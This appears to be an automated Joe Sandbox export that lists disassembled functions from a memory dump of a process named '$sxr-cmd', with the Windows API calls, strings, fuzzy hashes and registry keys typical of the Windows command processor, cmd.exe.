Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: InfoLocale$DefaultLangUsersetlocale
String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
API String ID: 2492766124-2236139042
Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction ID: 53840515e09884be2b56b16b235a767172716bb8ffffbcf102adacff88670abb
Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction Fuzzy Hash: A6F16E61B08B46C6EF91AF15D5802B9A2A8BF08BA0FD44135CA2D67794EF3DE51DC370

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F4224 Relevance: 45.8, APIs: 19, Strings: 7, Instructions: 328
threadprocessstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F4297
UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F42D7
memset.MSVCRT ref: 00007FF7137F42FD
memset.MSVCRT ref: 00007FF7137F4368
GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F4380

Part of subcall function 00007FF7137F3A90: wcsrchr.MSVCRT ref: 00007FF7137F3ADF
Part of subcall function 00007FF7137F3A90: _wcsnicmp.MSVCRT ref: 00007FF7137F3B38

wcsrchr.MSVCRT ref: 00007FF7137F43E6
lstrcmpW.KERNELBASE ref: 00007FF7137F4401
CreateProcessW.KERNELBASE ref: 00007FF7137F447F
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF7137F44AA
CreateProcessAsUserW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F45EE
_local_unwind.MSVCRT ref: 00007FF7137F4644
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF7137F47E1
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F4802
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137FECD4
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137FECF0
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137FED12

Strings

\XCOPY.EXE, xrefs: 00007FF7137F43F7
%01C, xrefs: 00007FF7137F47B1
=ExitCode, xrefs: 00007FF7137F454C
=ExitCodeAscii, xrefs: 00007FF7137F456B
COPYCMD, xrefs: 00007FF7137F439C, 00007FF7137F44B9
%08X, xrefs: 00007FF7137F452C
h, xrefs: 00007FF7137F436D

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: AttributeProcThread$List$CloseCreateDeleteErrorHandleLastProcessmemsetwcsrchr$InfoInitializeStartupUpdateUser_local_unwind_wcsnicmplstrcmp
String ID: %01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$\XCOPY.EXE$h
API String ID: 388421343-2905461000
Opcode ID: f6b3c8864cfcf0a5a2ea0a822c104307c370158276e02494081153d262952e71
Instruction ID: a0b3f9742eb934209e109a35df36554d01658bc43b2dfac460494c2e2e7210d4
Opcode Fuzzy Hash: f6b3c8864cfcf0a5a2ea0a822c104307c370158276e02494081153d262952e71
Instruction Fuzzy Hash: 7AF12E32A18E8286EBA0AB15E4847B9F7A4FB89760F804135D95D63B54DF3DE45CCB30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F5554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.ADVAPI32(?,00000000,?,00000001,?,00007FF7137F4E35), ref: 00007FF7137F55DA
RegQueryValueExW.ADVAPI32 ref: 00007FF7137F5623
RegQueryValueExW.ADVAPI32 ref: 00007FF7137F5667
RegQueryValueExW.ADVAPI32 ref: 00007FF7137F56BE
RegQueryValueExW.ADVAPI32 ref: 00007FF7137F5702
RegQueryValueExW.ADVAPI32 ref: 00007FF7137F5759
RegQueryValueExW.ADVAPI32 ref: 00007FF7137F57CF
RegQueryValueExW.ADVAPI32 ref: 00007FF7137F5862
RegCloseKey.ADVAPI32 ref: 00007FF7137F587B
time.MSVCRT ref: 00007FF7137F5896
srand.MSVCRT ref: 00007FF7137F58A5

Strings

DelayedExpansion, xrefs: 00007FF7137F56B7
DefaultColor, xrefs: 00007FF7137F56FB
EnableExtensions, xrefs: 00007FF7137F5660
Software\Microsoft\Command Processor, xrefs: 00007FF7137F55D3
DisableUNCCheck, xrefs: 00007FF7137F5614
PathCompletionChar, xrefs: 00007FF7137F57C8
AutoRun, xrefs: 00007FF7137F585B
CompletionChar, xrefs: 00007FF7137F5752

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: QueryValue$CloseOpensrandtime
String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
API String ID: 145004033-3846321370
Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction ID: 6a5c554f00657b799540ee2442ef6b7b301015c101efa10fae6a8aedecfd4aa8
Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction Fuzzy Hash: 47E1903252CE82C6E7D0AB10E48057AF7A4FB89764FC05136EA8E62A54DF7DD55CCB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F37D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269
registrythreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F380B
OpenThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F3821
HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137F3845
RegOpenKeyExW.ADVAPI32 ref: 00007FF7137F3875
GetConsoleOutputCP.KERNELBASE ref: 00007FF7137F38BF
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F38DD
memset.MSVCRT ref: 00007FF7137F3909
_setjmp.MSVCRT ref: 00007FF7137F3952
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF7137F398B
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F39A2
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF7137FEA1F
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF7137FEA2F

Part of subcall function 00007FF7137F5920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF7137FB71F), ref: 00007FF7137F5997
Part of subcall function 00007FF7137F5920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF7137FB71F), ref: 00007FF7137F59C5

GetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137FEA41

Strings

Software\Policies\Microsoft\Windows\System, xrefs: 00007FF7137F3867
DisableCMD, xrefs: 00007FF7137FEA18

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
API String ID: 2624720099-1920437939
Opcode ID: 07c46770a52c088c526de068ad2c2e0dd476b9e56bbee4b4c828f5b21f9523cf
Instruction ID: f69763bcbedc112f790e98e1ca38e1568881f311504be40cba1942731088cfac
Opcode Fuzzy Hash: 07c46770a52c088c526de068ad2c2e0dd476b9e56bbee4b4c828f5b21f9523cf
Instruction Fuzzy Hash: BBC1BF31E08E428AF794BB6494805B8EAA4BF49734FD44539DA2E77B91DE3DA05CC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F823C Relevance: 15.1, APIs: 10, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7137F8280
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137F829D

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
Instruction ID: 86c3f44d629c278989eb3e1a5c6f7c0cf1062894d9af382eeb606c98ce3730dc
Opcode Fuzzy Hash: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
Instruction Fuzzy Hash: 0F512C36A09F42DAEB80AB11E454579FBA4FB4DBA1F848531DA1E63750CF3DE4688730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F2978 Relevance: 9.1, APIs: 6, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction ID: a0b4fc34ed0fd4b68d660b3cc40cccd2292ea5914748868690995560c0b57100
Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction Fuzzy Hash: D051E765B08E8285EAA0AF15A58427AE694FB58BB0FC45234DE7E276D0DF3CE44DC610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F4D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4D9A

Part of subcall function 00007FF7137F58E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF71380C6DB), ref: 00007FF7137F58EF

SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4DBB
_get_osfhandle.MSVCRT ref: 00007FF7137F4DCA
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4DE0
_get_osfhandle.MSVCRT ref: 00007FF7137F4DEE
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4E04

Part of subcall function 00007FF7137F0580: _get_osfhandle.MSVCRT ref: 00007FF7137F0589
Part of subcall function 00007FF7137F0580: SetConsoleMode.KERNELBASE ref: 00007FF7137F059E
Part of subcall function 00007FF7137F0580: _get_osfhandle.MSVCRT ref: 00007FF7137F05AF
Part of subcall function 00007FF7137F0580: GetConsoleMode.KERNELBASE ref: 00007FF7137F05C5
Part of subcall function 00007FF7137F0580: _get_osfhandle.MSVCRT ref: 00007FF7137F05EF
Part of subcall function 00007FF7137F0580: GetConsoleMode.KERNELBASE ref: 00007FF7137F0605
Part of subcall function 00007FF7137F0580: _get_osfhandle.MSVCRT ref: 00007FF7137F0632
Part of subcall function 00007FF7137F0580: SetConsoleMode.KERNELBASE ref: 00007FF7137F0647

Part of subcall function 00007FF7137F4A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A28
Part of subcall function 00007FF7137F4A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A66
Part of subcall function 00007FF7137F4A14: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A7D
Part of subcall function 00007FF7137F4A14: memmove.MSVCRT(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4A9A
Part of subcall function 00007FF7137F4A14: RtlFreeHeap.NTDLL(?,?,00000000,00007FF7137F49F1), ref: 00007FF7137F4AA2

Part of subcall function 00007FF7137F4AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137E8798), ref: 00007FF7137F4AD6
Part of subcall function 00007FF7137F4AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137E8798), ref: 00007FF7137F4AEF

Part of subcall function 00007FF7137F5554: RegOpenKeyExW.ADVAPI32(?,00000000,?,00000001,?,00007FF7137F4E35), ref: 00007FF7137F55DA
Part of subcall function 00007FF7137F5554: RegQueryValueExW.ADVAPI32 ref: 00007FF7137F5623
Part of subcall function 00007FF7137F5554: RegQueryValueExW.ADVAPI32 ref: 00007FF7137F5667
Part of subcall function 00007FF7137F5554: RegQueryValueExW.ADVAPI32 ref: 00007FF7137F56BE
Part of subcall function 00007FF7137F5554: RegQueryValueExW.ADVAPI32 ref: 00007FF7137F5702

GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4E35
GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4E81
GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4F69
GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4F95
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4FB0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4FC1
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4FD8
GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F4FF8
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F5037
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F504B
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F50DF
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F50F2
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F510F
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F5130
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7137F514A
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137F5175

Part of subcall function 00007FF7137F3578: _get_osfhandle.MSVCRT ref: 00007FF7137F3584
Part of subcall function 00007FF7137F3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F359C
Part of subcall function 00007FF7137F3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35C3
Part of subcall function 00007FF7137F3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35D9
Part of subcall function 00007FF7137F3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35ED
Part of subcall function 00007FF7137F3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F3602

Strings

SetConsoleInputExeNameW, xrefs: 00007FF7137F5143
CopyFileExW, xrefs: 00007FF7137F5108
IsDebuggerPresent, xrefs: 00007FF7137F5122
KERNEL32.DLL, xrefs: 00007FF7137F50EB

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Console$HeapMode_get_osfhandle$QueryValue$AddressHandleProcProcess$AllocCommandCriticalFreeInfoLineLockSectionShared$AcquireAllocateBufferCtrlDirectoryEnterEnvironmentFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenStringsTitleTypeWindowsmemmove
String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
API String ID: 2533808960-3021193919
Opcode ID: e06c67148f7922823ef8cc05bd360387e5fff113248df6310448dc3bfb3b53b3
Instruction ID: 3f0fb2f69f1c4e73f8b0c247fbec0343185749a4620a871c2bfad394c9c4f576
Opcode Fuzzy Hash: e06c67148f7922823ef8cc05bd360387e5fff113248df6310448dc3bfb3b53b3
Instruction Fuzzy Hash: 6CC15D61A08E42DAEB84BB11E8401B9E7A4FF89BB0FC48134D91E27791DF7DE55D8230

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F3C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F3D0C
towupper.MSVCRT ref: 00007FF7137F3D2F
iswalpha.MSVCRT ref: 00007FF7137F3D4F
towupper.MSVCRT ref: 00007FF7137F3D75
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F3DBF
GetFileAttributesW.KERNELBASE ref: 00007FF7137F3E7E
GetFileAttributesW.KERNELBASE ref: 00007FF7137F3EE9
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F3F32
_local_unwind.MSVCRT ref: 00007FF7137F4062
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137F4067
_local_unwind.MSVCRT ref: 00007FF7137F4098
_local_unwind.MSVCRT ref: 00007FF7137F40B3
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137F40B8
_local_unwind.MSVCRT ref: 00007FF7137F40DE
_local_unwind.MSVCRT ref: 00007FF7137F40F9
_local_unwind.MSVCRT ref: 00007FF7137F4114

Strings

:, xrefs: 00007FF7137F3D89

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
String ID: :
API String ID: 1809961153-336475711
Opcode ID: 9d74a12bc874b56384ee2849c9ea8ed33252762c4bf133df5b2631275a7736a1
Instruction ID: 31c86a57a4236d89e88fd78f693953c1471ae9b321943a3f05e3e80dc6d7ddab
Opcode Fuzzy Hash: 9d74a12bc874b56384ee2849c9ea8ed33252762c4bf133df5b2631275a7736a1
Instruction Fuzzy Hash: D8D15F2260CF8592EBA0AB15E4842B9F7A5FB88760F844235E95E537A4DF3CE54CC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F2394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7137F23F1

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

GetModuleFileNameW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF7137F2438

Part of subcall function 00007FF7137F081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F084E

free.MSVCRT ref: 00007FF7137F24DD
wcschr.MSVCRT ref: 00007FF7137FE12A
_wcsupr.MSVCRT ref: 00007FF7137FE146

Strings

KEYS, xrefs: 00007FF7137F2498
$P$G, xrefs: 00007FF7137F2516
\CMD.EXE, xrefs: 00007FF7137FE22A
PATH, xrefs: 00007FF7137F2444, 00007FF7137FE0E2
COMSPEC, xrefs: 00007FF7137F2483, 00007FF7137FE28B
PATHEXT, xrefs: 00007FF7137F2459, 00007FF7137FE0FB
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 00007FF7137FE0F4
PROMPT, xrefs: 00007FF7137F246E, 00007FF7137F251D

Memory Dump Source

